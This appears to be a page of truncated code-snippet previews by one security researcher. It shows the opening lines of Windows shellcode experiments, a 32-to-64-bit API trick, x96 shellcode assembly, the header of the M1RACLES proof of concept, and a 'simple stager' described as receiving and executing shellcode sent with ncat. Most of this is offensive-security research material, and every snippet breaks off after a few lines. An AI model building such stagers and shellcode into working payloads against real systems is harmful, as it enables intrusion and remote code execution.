aaaddress1

// using WinHTTP to obtain binary data (MSVC)
// by [email protected]
#include <vector>
#include <stdio.h>
#include <windows.h>
#include <Winhttp.h>
#pragma comment(lib, "winhttp")
using namespace std;

vector<char>* httpRecv(const wchar_t url[]) {

aaaddress1

// memcpy 32bit by [email protected]
#include <stdint.h>
#include <stdio.h>
#include <windows.h>

int main(void) {
    int dummy(0x41414242);
    char buf[8] = {0};
    ((void(cdecl *)(DWORD, DWORD, DWORD))"\x8B\x7C\x24\x04\x8B\x74\x24\x08\x8B\x4C\x24\x0C\xF3\xA4\xC3")((size_t)buf, (size_t)&dummy, sizeof(dummy));
    puts(buf);

aaaddress1

// fetch current EXE path from 64 bit PEB->Ldr (In 32 bit mode)
// by [email protected]
#include <stdint.h>
#include <stdio.h>
#include <windows.h>
typedef struct _PEB_LDR_DATA64
{
    ULONG Length;
    BOOLEAN Initialized;
    ULONG64 SsHandle;

aaaddress1

// get 64 bit Windows API in pure 32 bit mode!
// it's necessary to disable all the compiler optimization if you're using MSVC.
// more detail check out ReWolf's amazing trick: blog.rewolf.pl/blog/?p=102
// by [email protected]
#include <iostream>
#include <stdio.h>
#include <windows.h>

// ref: raw.githubusercontent.com/rwfpl/rewolf-wow64ext/master/src/wow64ext.h
#include "wow64ext.h"

aaaddress1

; x96 shellcode (x32+x64) by [email protected]
; yasm -f bin -o x96shell_msgbox x96shell_msgbox.asm
section .text
bits 32
_main:
call entry
entry:
mov ax, cs
sub ax, 0x23
jz retTo32b

aaaddress1

# x96_shellcode.py
# ref: gist.github.com/aaaddress1/3c0ae754f8a40024881343a085954049
# by [email protected]
'''
entry:
    call $+5
    mov ax, cs
    sub ax, 23h
    je retTo32b
    nop

aaaddress1

/*
 * m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
 * 
 * This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
 *
 * Please visit m1racles.com for more information.
 *
 * Licensed under the MIT license.
 */

aaaddress1

// [Experiment] swich IME to Traditional Chinese
// $ g++ -m32 -static inputLockToZhTW.cpp && a
// test on League of Legends (TW) client, but got ignored :(
// by [email protected]
#include <windows.h>
#include <iostream>
int main(void) {
    for (char buf[64]; ; Sleep(150)) {
        GetWindowTextA(GetForegroundWindow(), buf, sizeof(buf));
        // once found that LOL client is on the top, and send IME change requests

aaaddress1

// simple stager, by [email protected]
// using ncat to send shellcode payload, recv & execute.
#include <WS2tcpip.h>
#include <stdio.h>
#include <shlobj.h>
#include <Windows.h>
#include <shlwapi.h>
#include <winsock2.h>
#pragma warning(disable:4996)
#pragma comment(lib, "ws2_32.lib")

aaaddress1

// ETW CLR Tracker, by [email protected]
// rewrite from post "Hiding your .NET - ETW"
// URL: https://blog.xpnsec.com/hiding-your-dotnet-etw/
#define AssemblyDCStart_V1 155
#define AssemblyLoad_V1 154
#define MethodLoadVerbose_V1 143

#include <windows.h>
#include <stdio.h>
#include <wbemidl.h>